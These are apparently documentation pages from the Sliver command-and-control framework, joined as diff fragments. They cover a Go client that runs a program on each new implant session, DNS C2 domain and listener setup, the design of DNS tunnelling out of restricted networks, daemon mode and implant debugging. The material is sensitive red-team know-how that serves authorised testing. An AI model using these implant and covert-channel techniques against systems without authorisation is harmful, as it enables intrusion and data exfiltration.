"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func makeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(60)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
func main() {
var configPath string
flag.StringVar(&configPath, "config", "", "path to sliver client config file")
flag.Parse()
// load the client configuration from the filesystem
config, err := assets.ReadConfig(configPath)
if err != nil {
log.Fatal(err)
}
// connect to the server
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
log.Fatal(err)
}
log.Println("[*] Connected to sliver server")
defer ln.Close()
// Open the event stream to be able to collect all events sent by the server
eventStream, err := rpc.Events(context.Background(), &commonpb.Empty{})
if err != nil {
log.Fatal(err)
}
// infinite loop
for {
event, err := eventStream.Recv()
if err == io.EOF || event == nil {
return
}
// Trigger event based on type
switch event.EventType {
// a new session just came in
case consts.SessionOpenedEvent:
session := event.Session
// call any RPC you want, for the full list, see
// https://github.com/BishopFox/sliver/blob/master/protobuf/rpcpb/services.proto
resp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: `c:\windows\system32\calc.exe`,
Output: false,
Request: makeRequest(session),
})
if err != nil {
log.Fatal(err)
}
// Don't forget to check for errors in the Response object
if resp.Response != nil && resp.Response.Err != "" {
log.Fatal(resp.Response.Err)
}
}
}
}
```
Finally, run `go mod tidy` to make sure to have all the external dependencies, and run `go build .` to build the code.
That's it, you wrote your first custom client in Go for sliver.
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@@ -0,0 +1,148 @@
DNS can be a finicky nuanced protocol, if you're unfamiliar with DNS and related concepts I'd recommending reading up on the protocol and ecosystem a bit before leveraging it for C2.
# Setup
Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you can use any DNS provider you wish as long as you setup the records correctly. I recommend setting a TTL of ~5 minutes for each record.
1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address.
2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address.
3. Create an NS record with an arbitrary subdomain, for example `1` (i.e. `1.example.com`) which is managed by `ns1.example.com`.
4. You can now use `1.example.com` as your DNS C2 domain e.g. `generate --dns 1.example.com.` (always use the FQDN when issuing DNS commands).
**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
The final configuration should look like for the domain `lil-peep.rip`:
![DNS Configuration](https://i.imgur.com/hpOnGJp.png)
**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
### DNS Listeners
Make sure you have a DNS listener running, and to use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
```
sliver > dns --domains 1.example.com.
[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1
```
### DNS Canaries
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling which specific file was discovered by the blue team.
Example `generate` command with canaries, make sure to use the FQDN:
```
sliver > generate --http foobar.com --canary 1.example.com.
```
You can view previously generated canaries with the `canaries` command.
### Ubuntu
**NOTE:** On recent versions of Ubuntu, you may need to disable `systemd-resolved` as this binds to your local UDP:53 and messes up everything about how DNS is supposed to work. To use a sane DNS configuration run the following commands as root because `resolved` probably broke `sudo` too:
```
systemctl disable systemd-resolved.service
systemctl stop systemd-resolved
rm -f /etc/resolv.conf
vim /etc/resolv.conf
```
Add a normal `resolv.conf`:
```
nameserver 1.1.1.1
nameserver 8.8.8.8
```
# Under the Hood
**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption), this is just about how do we move bytes back and forth.
### Design Goals
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full duplex tunnels, doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected as is often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query it's local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuff data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
```
[implant] <--> [resolver]
|<------> [.]
|<------> [.com.]
|<------> [example.com.] (attacker controlled)
```
This allows an implant to establish a connection to an attacker controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small, in fact if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2Mb file then we're gonna have to send _a lot of_ queries, this means that DNS communication is going to be _slow_ (~30Kbps) even at the best of times.
### Rude DNS Resolvers
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
### Encoder Selection
So if we want to build a "fast" DNS tunnel, we need to be able to pack as much data into each request as possible, more data per query the fewer queries we need to send for a given message.
So how much data can we stuff into a DNS query? Well let's take a look at what goes into a DNS query, a DNS query contains some header fields and then a "questions" section, a single query may contain multiple questions. For example, we can ask "is there an A record for example.com" (an A records contain IPv4 addresses). Now, we can encode a handful of bits into some of the header fields and a couple other sections like the Type/Class, but by far the largest field is `QNAME`, which contains the domain we're asking a question about:
```
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| |
/ QNAME /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QTYPE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QCLASS |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be up to 254 characters in length and may only contain ASCII `a-z`, `A-Z`, `0-9`, `-`, but `-` may not appear at the beginning of a name, and of course `.` separators. Each subdomain is separated by a `.` and may be up to 63 characters in length. However, DNS is a case-insensitive protocol thus `a` and `A` are considered equal from DNS' standpoint. Now as I said before the spec is really more guidelines than rules, so both `a` and `A` are technically allowed they're just considered equal in DNS' semantics.
Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.
To workaround this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a x2 size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around x1.6 size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over x1.33 message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fallback to Base32. I call this process "fingerprinting" the resolver.
### Fingerprinting Rude Resolvers
The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g. `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.
### Bytes Per Query
Since the encoder used to send data is selected at runtime, as described above, the number of bytes that can be encoded into a query depends on both the length of the parent domain and the encoder selected. Therefore given some message of `n` bytes we must dynamically determine how many queries are needed to send the message.
First we calculate how many characters of the total domain can be used to encode data, which depends on the length of the parent domain. A maximum of 254 characters per domain always applies regardless of the number of subdomains. So for example we have more space leftover when using `1.abc.com` (254 - 9 = 245) vs. `a.thisisalongdomainname.com` (254 - 27 = 227), however we must also account for `.` every 63 characters, and the number of these may differ depending on the space leftover after the parent domain. The number of characters that can be used to represent data I call the "subdata space" (i.e., not counting the parent domain and `.`'s) and is calculated as:
```go
254 - len(parent) - (1 + (254-len(parent))/64)
```
This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially `n` bytes encoded length must be equal to or less than the subdata space. Its important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
### Parallel Send/Recv
In addition to optimizing our use of encoders, we can also increase performance if we can send queries with encoded data out of order, or that is to say in parallel, since sending in parallel will most assuredly result in messages arriving at the server out of order.
To account for this, Sliver wraps the message of `n` bytes in a protobuf message that contains some metadata:
```protobuf
message DNSMessage {
DNSMessageType Type = 1; // An enum type
uint32 ID = 2; // 8 bit message id + 24 bit dns session ID
uint32 Start = 3; // These bytes of `Data` start at
uint32 Stop = 4; // These bytes of `Data` stop at
uint32 Size = 5; // Total message size (e.g. last message Stop = Size)
bytes Data = 6; // Actual data
}
```
This does result in some overhead, and we must account for this as part of the bytes-per-query math.
Since each message contains ordering and size data the server can now receive any part of the message in any order and sort/reconstruct the original message once all the pieces have been received.
@@ -0,0 +1,28 @@
Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
There are two ways to start the server in daemon mode:
1. Using the command line interface: `sliver-server daemon`
2. Set `daemon_mode` to `true` in the `configs/server.json` located in `SLIVER_ROOT_DIR` (by default: `~/.sliver/configs/server.json`). The listener can be configured via the `daemon` object. The process will respond gracefully to `SIGTERM` on Unix-like operating systems.
#### Example Config
```
$ cat ~/.sliver/configs/server.json
{
"daemon_mode": true,
"daemon": {
"host": "",
"port": 31337
},
"logs": {
"level": 5,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
}
}
```
#### systemd
With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) for an example.
@@ -0,0 +1,99 @@
Debugging Sliver binaries (server, client and implant) can be done using the [delve](https://github.com/go-delve/delve) debugger. The following examples are specific to Visual Studio Code, but other IDEs using delve probably have similar configuration options.
Delve can be installed with the following command, note that you'll need `$GOPATH/bin` on your `$PATH`:
```
go install github.com/go-delve/delve/cmd/dlv@latest
```
For more details please see https://github.com/go-delve/delve/tree/master/Documentation/installation#installation
# Debugging the Server
Debugging the Sliver needs to be done via delve [remote debugging](https://github.com/golang/vscode-go/blob/master/docs/debugging.md#remote-debugging) feature. This means you need to first start the binary with the following command:
```
dlv debug \
--build-flags="-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=1.1.2 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=github.com -X github.com/bishopfox/sliver/client/version.GitCommit=aabbcc -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty'" \
--headless \
--listen=:2345 \
--api-version=2 \
--log \
github.com/bishopfox/sliver/server
```
To simplify things, you can add this command as a VSCode task, by adding the following to your [`.vscode/tasks.json` file](https://code.visualstudio.com/docs/editor/tasks):
```json
{
"label": "Run Debug Server",
"type": "shell",
"command": "dlv",
"args": [
"debug",
"--build-flags=\"-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=0.0.0 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=https://api.github.com/repos/BishopFox/sliver/releases -X github.com/bishopfox/sliver/client/version.GitCommit=debug -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty -X github.com/bishopfox/sliver/client/assets.DefaultArmoryPublicKey=RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L -X github.com/bishopfox/sliver/client/assets.DefaultArmoryRepoURL=https://api.github.com/repos/sliverarmory/armory/releases'\"",
"--headless",
"--listen=:8844",
"--api-version=2",
"--log",
"github.com/bishopfox/sliver/server"
],
"presentation": {
"echo": true,
"reveal": "always",
"focus": true,
"showReuseMessage": false,
"clear": true,
"panel": "new"
},
"problemMatcher": ["$go"]
}
```
Then, you need to create your `.vscode/launch.json` file containing the following:
```json
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug Server",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "${workspaceFolder}",
"port": 8844,
"host": "127.0.0.1",
"trace": "log"
}
]
}
```
Once you're all set, start by running the `Run Debug Server` task, and then hit `F5` (or use the UI to start the debugging task).
# Debugging the Implant
To debug an implant, first make sure you built one by passing the `--debug` flag to the `generate` command. Then, add the following debug configuration to your `.vscode/launch.json` file:
```json
{
"name": "Debug Implant",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "",
"port": "REMOTE_PORT", // replace this
"host": "REMOTE_HOST" // replace this
}
```
The `REMOTE_HOST` and `REMOTE_PORT` placeholders will need to be replaced to match the ones you specified on your delve server.
You will need to install the delve debugger on the target host. Once installed, run the delve server using the `exec` mode on your generated implant binary:
```shell
dlv exec --api-version 2 --headless --listen REMOTE_HOST:REMOTE_PORT --log .\implant.exe
```
Once the server is running on your target, select the `Debug Implant` debug configuration in VSCode and click on `Run`.
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